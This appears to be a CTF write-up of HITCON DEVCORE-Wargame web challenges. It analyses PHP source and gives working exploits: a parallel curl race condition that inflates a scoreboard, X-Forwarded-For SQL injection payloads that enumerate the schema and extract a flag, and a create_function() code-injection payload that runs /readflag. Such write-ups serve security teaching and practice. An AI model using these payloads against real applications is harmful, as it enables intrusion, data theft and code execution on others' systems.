<h1>HITCON CTF: DEVCORE-Wargame</h1>
<h2>Submit Flag</h2>
<h3>Challenge Description</h3>
A platform where players need to reach at least 5 points by submitting 5 different flags (or by any means 😉) to capture the final flag.
<h3>Source Code Analysis</h3>
<h4>register.php</h4>
```php!
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['user']) && strlen($_POST['user']) <= 128) {
$session = get_session();
$session['user'] = strval($_POST['user']);
$pdo = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbuser, $dbpass);
$stmt = $pdo->prepare('DELETE FROM submit WHERE user = ?');
$stmt->bindParam(1, $session['user']);
$stmt->execute();
save_session($session);
header('Location: /');
exit();
}
}
```
> * Sets `$session['user']` to the submitted username.
> * Deletes all rows from the `submit` table for that username.
> * The user will be redirected to `index.php` once they registered.
> * Each user's session ID is stored in the `session` data once they register.
<h4>index.php</h4>
```php!
$flag = strval($_POST['flag']);
$stmt = $pdo->prepare('SELECT * FROM flag WHERE flag = ? COLLATE utf8mb4_bin');
$stmt->bindParam(1, $flag);
$stmt->execute();
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$row) {
$session['flash'] = 'This flag is not valid';
save_session($session);
header('Location: /index.php');
exit();
}
```
> * The submitted flag is compared against the stored flag value in the `flag` table using binary collation.
> * If the submitted flag is not found, set the flash message and save session, redirects user back to `index.php`.
```php!
$stmt = $pdo->prepare('SELECT * FROM submit WHERE user = ? COLLATE utf8mb4_bin AND flag = ? COLLATE utf8mb4_bin');
$stmt->bindParam(1, $user);
$stmt->bindParam(2, $flag);
$stmt->execute();
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if ((bool) $row) {
$session['flash'] = 'You already submitted this flag.';
save_session($session);
header('Location: /index.php');
exit();
}
```
> * If the flag is valid, the server checks whether the same flag has already been submitted by this user.
> * The comparison is done by querying the `submit` table for an exact match on both the username and flag.
```php!
sleep(2);
```
> * The server sleeps for 2 seconds before proceeding to insert the valid flag into the database.
```php!
$stmt = $pdo->prepare('INSERT INTO submit (user, flag) VALUES (?, ?)');
$stmt->bindParam(1, $user);
$stmt->bindParam(2, $flag);
if ($stmt->execute()) {
$session['flash'] = 'You successfully submit the flag.';
save_session($session);
header('Location: /index.php');
exit();
} else {
$session['flash'] = 'Submit error.';
save_session($session);
header('Location: /index.php');
exit();
}
```
> * If the flag value passed the two checks above: valid and not previously submitted, the flag is inserted into the database along with the username.
> * A success or error flash message is set accordingly.
```php!
$stmt = $pdo->prepare('SELECT count(*) AS score FROM submit WHERE user = ?');
$stmt->bindParam(1, $user);
$stmt->execute();
$row = $stmt->fetch(PDO::FETCH_ASSOC);
$score = $row['score'];
```
> * The user's score is calculated as the total number of rows in `submit` table for that username.
```html
<?php if ($score >= 5): ?>
<h3>Congratulations, you got <?=$score ?> points.</h3>
<h3>Here is your final flag: <?=$final_flag ?></h3>
<?php else: ?>
<h3>You got <?=$score ?> points now.</h3>
<p>Submit 1 flag to get 1 point. Try to get more than 5 points to obtain the final flag.</p>
<p>As an encouragement, I'll give you the first flag as a reward.</p>
<p>The first flag is <?=$first_flag ?></p>
<?php endif; ?>
```
> * If the current user's score is equal or greater than 5, the final flag is displayed.
> * Otherwise, show the current user's score and the first flag value.
<h3>Ways to Catch the Final Flag</h3>
1. Play the game fair and square: catch all 5 flags
* All the valid flags are stored in the database, one way to retrieve all flags is to dump the `flag` database table.
2. Manipulate the scoreboard
* With one valid flag, we can abuse the 2-second delay between the "already submitted" check and the database insert.
* Sending many concurrent submissions to quickly insert (username, flag) during this window inserts multiple rows in the table.
* The score is calculated as `COUNT(*)` per user without uniqueness check, inflating the score to >= 5 and triggering the final flag display.
<h3>Exploit Steps</h3>
1. Register a user and capture the session cookie
```bash
URL='http://127.0.0.1:8902/index.php'
COOKIE='session=eyJ1c2VyIjoiJycnJyciLCJleHAiOjE3NTQ3MTI2OTZ9e585074165f5a7354471e15ddc88fd53bc18b723'
DATA='flag=FLAG{this_is_the_first_flag}'
```
> This cookie uniquely identifies a user to the application.
2. Fire multiple identical POSTs during the 2-second nap
```bash
seq 60 | xargs -I{} -P60 curl -sS -X POST "$URL" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H "Cookie: $COOKIE" \
--data "$DATA" > /dev/null
```
> Firing a tight burst using `xargs -P` (true parallelism).
> Each request passes the "already submitted?" check before any inserts happen, resulting in multiple identical rows being inserted.
> Logic:
> * `seq 60` outputs 1 to 60, one per line.
> * `-I{}` where `{}` is replaced with each number to make xargs run the command N times and execute the curl command separately for each number.
> * `-P60` runs up to 60 requests in parallel.
> * `curl -sS -X POST "$URL" ...` is executed once for each input line.
3. Leverage the flawed scoring logic
```bash
curl -sS "$URL" -H "Cookie: $COOKIE" | grep -E 'You got|Congratulations'
```
> The score is COUNT(*) per user with no DISTINCT or uniqueness check for the flag value, so duplicates inflate the score quickly.
> The final flag retrieval message is shown if the score is greater than or equal to 5.
4. Scale the service to allow more concurrent inserts
```bash
docker compose down
docker compose up -d --scale web=6
```
> We might hit a cap on small worker counts.
> Scaling increases concurrent PHP workers to make the race more effective.
<h3>Proof of Exploit</h3>

<h3>Challenge(s)</h3>
1. The queries are parameterized and use a binary collation, making classic SQLi challenging.
2. The server's concurrency ceiling is hit.
<h2>What's My IP</h2>
<h3>Challenge Description</h3>
Exploit a SQL Injection vulnerability to reveal the flag stored in the `flag` database table. The application also maintains an `iplog` table containing IP addresses and countries of visitors.
<h3>Source Code Analysis</h3>
<h4>index.php</h4>
```php!
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
```
> * `$ip` value is user-controlled via HTTP Headers.
```php!
$country = @file_get_contents("https://api.hostip.info/country.php?ip=$ip");
if ($country == 'XX' || !$country) {
$country = 'Unknown';
}
```
> * `$country` value is determined by querying external API.
```php!
$db = mysqli_connect('mysql', 'dbuser', 'en8yzvQz4ywKK6gnSbK', 'ipdb');
mysqli_query($db, "INSERT INTO iplog (ip, country) VALUES ('$ip', '$country')");
```
> * The value of `$ip` and `$country` is inserted into the database `iplog` table without sanitization.
```php!
$query = "SELECT country, COUNT(ip) as total FROM iplog GROUP BY country";
$result = mysqli_query($db, $query);
$table = array();
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$table[] = $row;
}
mysqli_close($db);
```
> * Fetches the `iplog` data as a country-wise count in the HTML output.
<h3>Ways to Catch the Final Flag</h3>
1. The injection occurs at the INSERT query with `$ip` as the vulnerable field.
2. Injection is done via the `X-Forwarded-For` header.
3. Use SQL injection payload in the `X-Forwarded-For` header to select the flag value from the `flag` table and insert it into the `iplog` table.
4. Since `iplog` entries are displayed on the web page, the flag will be shown in the HTML output.
<h3>Exploit Steps</h3>
1. Enumerate the DB Schemas
```bash
curl \
-H "X-Forwarded-For: 1.1.1.2', (SELECT LEFT(schema_name, 30) FROM information_schema.schemata LIMIT 2,1)); #" \
-H "User-Agent: Mozilla/5.0" \
http://127.0.0.1:8901/
```

2. Enumerate schema tables
```bash
curl \
-H "X-Forwarded-For: 1.1.1.2', (SELECT LEFT(TABLE_NAME, 30) FROM information_schema.tables WHERE TABLE_SCHEMA='flag_vBu6eL' ORDER BY TABLE_NAME LIMIT 0,1)); #" \
-H "User-Agent: Mozilla/5.0" \
http://127.0.0.1:8901/
```

3. Enumerate column names
```bash
curl \
-H "X-Forwarded-For: 1.1.1.2', (SELECT LEFT(COLUMN_NAME, 30) FROM information_schema.columns WHERE TABLE_NAME='flag_hH33YT' ORDER BY COLUMN_NAME LIMIT 0,1)); #" \
-H "User-Agent: Mozilla/5.0" \
http://127.0.0.1:8901/
```

4. Extract column data
```bash
curl \
-H "X-Forwarded-For: 1.1.1.2', (SELECT LEFT(flag_jQM2hM, 10) FROM flag_vBu6eL.flag_hH33YT LIMIT 1)); #" \
-H "User-Agent: Mozilla/5.0" \
http://127.0.0.1:8901/
```
<h3>Proof of Exploit</h3>

<h3>Challenge(s)</h3>
1. Output length is limited, data must be extracted in chunks.
2. `--` SQL style comments does not work, use `#` as an alternative.


<h2>Kurapika</h2>


<h2>Supercalifragilisticexpialidocious</h2>
<h3>Challenge Description</h3>
Craft a payload that triggers PHP code execution via an unsafe use of `create_function()`.
<h3>Source Code Analysis</h3>
<h4>index.php</h4>
```php!
$code = strval($_GET['code']);
try {
create_function('', $code);
echo "valid";
} catch (ParseError $e) {
echo "syntax error";
}
```
> * `$_GET[$code]` is entirely user-controlled.
> * `create_function('', $code)` compiles a function with no parameters and a body equal to `$code`.
> * The `$code` string is parsed as if it were inside the function's braces.
<h3>Ways to Catch the Final Flag</h3>
1. Inject a function body escape and execute the RCE payload to catch the flag via the `readflag` function.
2. `create_function('', $code)` internally generates:
```php
function __lambda_func() {
// injected code
}
```
3. Hence, if we pass a payload looking like ``}die(`/readflag`);/*``:
```php
function __lambda_func() {
}die(`/readflag`);/* }
```
<h3>Exploit Steps</h3>
1. Send a payload that closes the body and executed `readflag`.
```php
}die(`/readflag`);/*
```
<h3>Proof of Exploit</h3>

